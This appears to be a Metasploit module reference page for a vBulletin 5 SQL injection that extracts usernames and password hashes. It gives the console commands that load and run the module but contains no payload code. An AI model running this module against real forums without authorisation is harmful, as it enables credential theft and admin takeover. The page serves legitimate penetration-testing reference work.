This module exploits a SQL injection vulnerability found in vBulletin 5 that has been used in the wild since March 2013. This module can be used to extract the web application's usernames and hashes, which could be used to authenticate into the vBulletin admin control panel.
To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use auxiliary/gather/vbulletin_vote_sqli
msf auxiliary(vbulletin_vote_sqli) > show actions
...actions...
msf auxiliary(vbulletin_vote_sqli) > set ACTION < action-name >
msf auxiliary(vbulletin_vote_sqli) > show options
...show and set options...
msf auxiliary(vbulletin_vote_sqli) > run
Time is precious, so I don’t want to do something manually that I can automate. Leveraging the Metasploit Framework when automating any task keeps us from having to re-create the wheel as we can use the existing libraries and focus our efforts where it matters.
